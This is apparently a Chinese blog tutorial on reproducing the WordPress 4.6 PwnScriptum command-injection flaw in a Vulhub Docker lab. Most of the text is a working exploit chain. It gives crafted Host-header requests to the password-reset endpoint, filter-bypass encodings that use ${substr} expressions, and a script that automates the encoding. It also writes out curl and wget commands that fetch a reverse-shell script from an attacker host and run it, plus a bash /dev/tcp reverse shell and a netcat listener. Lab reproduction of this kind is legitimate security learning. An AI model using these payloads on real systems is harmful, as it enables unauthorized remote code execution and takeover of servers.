WordPress 4.6老漏洞复现:用Docker+BurpSuite一步步拿Shell(附绕过字符限制技巧)
WordPress 4.6命令执行漏洞实战从Docker环境搭建到Shell获取全解析在网络安全领域漏洞复现是提升实战能力的重要途径。今天我们将深入探讨WordPress 4.6版本中一个经典的命令执行漏洞PwnScriptum通过完整的实验流程帮助安全爱好者理解漏洞原理并掌握实际利用技巧。不同于简单的漏洞复现教程本文将重点解析漏洞利用过程中的关键限制及其绕过方法让你不仅能复现漏洞更能理解背后的技术细节。1. 实验环境准备与漏洞背景1.1 漏洞概述与影响范围WordPress 4.6版本的PwnScriptum漏洞源于PHP Mailer组件版本5.2.18的一个设计缺陷。该漏洞允许攻击者通过精心构造的HTTP请求头在目标服务器上执行任意系统命令。值得注意的是这个漏洞的利用需要满足以下条件WordPress版本≤4.6.0PHP Mailer版本5.2.18知道至少一个有效的后台用户名漏洞利用的核心原理在于攻击者可以控制Host头中的特定参数通过邮件发送功能触发命令执行。这种类型的漏洞在Web应用中尤为危险因为它可能绕过常规的输入过滤机制。1.2 Docker环境搭建为了安全地复现这个漏洞我们使用Vulhub提供的Docker环境。以下是详细的环境搭建步骤首先确保系统已安装Docker和docker-compose下载Vulhub漏洞环境库git clone https://github.com/vulhub/vulhub.git进入WordPress漏洞目录cd vulhub/wordpress/pwnscriptum启动漏洞环境docker-compose up -d环境启动后可以通过以下命令验证服务状态docker-compose ps正常情况下你应该看到类似如下的输出Name Command State Ports -------------------------------------------------------------------------------- wordpress_db_1 docker-entrypoint.sh mysqld Up 3306/tcp wordpress_web_1 docker-php-entrypoint apac ... Up 0.0.0.0:8080-80/tcp提示实验结束后记得使用docker-compose down命令清理环境避免占用系统资源。2. 漏洞利用的核心机制分析2.1 漏洞触发点解析该漏洞的触发点在于WordPress的密码重置功能。当用户请求密码重置时系统会构造一封包含重置链接的邮件发送给用户。在这个过程中PHP Mailer组件会处理邮件头信息而Host头的特殊构造可以被利用来注入系统命令。典型的漏洞利用数据包结构如下POST /wp-login.php?actionlostpassword HTTP/1.1 Host: target(any -frootlocalhost -be ${run{要执行的命令}} null) User-Agent: Mozilla/5.0 Content-Type: application/x-www-form-urlencoded Content-Length: 56 wp-submitGetNewPasswordredirect_touser_loginadmin2.2 关键限制与绕过思路这个漏洞在实际利用中存在几个重要限制理解这些限制对成功复现至关重要字符限制斜杠(/)必须替换为${substr{0}{1}{$spool_directory}}空格必须替换为${substr{10}{1}{$tod_log}}不能使用引号和管道符大小写转换所有命令会被自动转换为小写路径要求必须使用绝对路径不能依赖环境变量例如必须使用/bin/bash而非简单的bash用户名要求必须提供有效的后台用户名无回显命令执行后不会在页面上显示输出为了绕过这些限制通常采用分阶段执行的策略先下载远程服务器上的恶意脚本然后执行下载的脚本获取交互式shell3. 实战漏洞利用从命令执行到获取Shell3.1 准备反弹Shell载荷在开始漏洞利用前我们需要准备两个关键组件恶意脚本包含反弹Shell命令的shell脚本监听服务用于接收反弹Shell连接的Netcat监听器首先创建一个名为shell.sh的脚本文件内容如下#!/bin/bash bash -i /dev/tcp/攻击者IP/7777 01然后启动Netcat监听器nc -lvnp 77773.2 构造有效载荷我们需要执行两条关键命令下载恶意脚本/usr/bin/curl -o /tmp/rce 攻击者IP/shell.sh执行下载的脚本/bin/bash /tmp/rce根据漏洞限制我们需要对这些命令进行特殊处理原始命令处理后格式/${substr{0}{1}{$spool_directory}}空格${substr{10}{1}{$tod_log}}以第一条命令为例转换过程如下原始命令/usr/bin/curl -o /tmp/rce 攻击者IP/shell.sh替换斜杠${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl -o ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce 攻击者IP${substr{0}{1}{$spool_directory}}shell.sh替换空格${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}攻击者IP${substr{0}{1}{$spool_directory}}shell.sh3.3 使用BurpSuite发送恶意请求以下是使用BurpSuite发送恶意请求的详细步骤拦截密码重置请求在浏览器中访问http://目标IP:8080/wp-login.php?actionlostpassword输入已知的用户名如admin并点击Get New Password使用BurpSuite拦截这个请求修改Host头将Host头替换为处理后的命令格式target(any -frootlocalhost -be ${run{处理后的命令}} null)发送第一条命令下载脚本POST /wp-login.php?actionlostpassword HTTP/1.1 Host: target(any -frootlocalhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}攻击者IP${substr{0}{1}{$spool_directory}}shell.sh}} null)发送第二条命令执行脚本POST /wp-login.php?actionlostpassword HTTP/1.1 Host: target(any -frootlocalhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)成功执行后你应该能在Netcat监听器中看到反弹Shell的连接。4. 高级技巧与替代方案4.1 命令构造的自动化处理手动转换命令既繁琐又容易出错。我们可以使用简单的Shell脚本来自动化这个过程#!/bin/bash cmd$1 # 替换斜杠 cmd${cmd//\//\${substr{0}{1}{\$spool_directory}}} # 替换空格 cmd${cmd// /\${substr{10}{1}{\$tod_log}}} echo target(any -frootlocalhost -be \${run{$cmd}} null)使用方法./transform.sh /usr/bin/curl -o /tmp/rce 攻击者IP/shell.sh4.2 替代的利用方式除了使用curl下载脚本外还有其他几种常见的利用方式使用wget替代curl/usr/bin/wget -O /tmp/rce 攻击者IP/shell.sh直接执行命令适用于简单操作/usr/bin/whoami写入文件直接执行echo bash -i /dev/tcp/攻击者IP/7777 01 /tmp/rce /bin/bash /tmp/rce4.3 常见问题排查在漏洞复现过程中可能会遇到以下问题及解决方案问题现象可能原因解决方案命令未执行用户名不正确确保使用有效的后台用户名无反弹Shell连接网络问题或命令错误检查监听器设置和命令转换是否正确Docker环境无法启动端口冲突修改docker-compose.yml中的端口映射脚本下载失败路径或权限问题确保web服务器可访问且脚本路径正确注意在实际渗透测试中务必确保已获得目标系统的授权。未经授权的测试可能违反法律。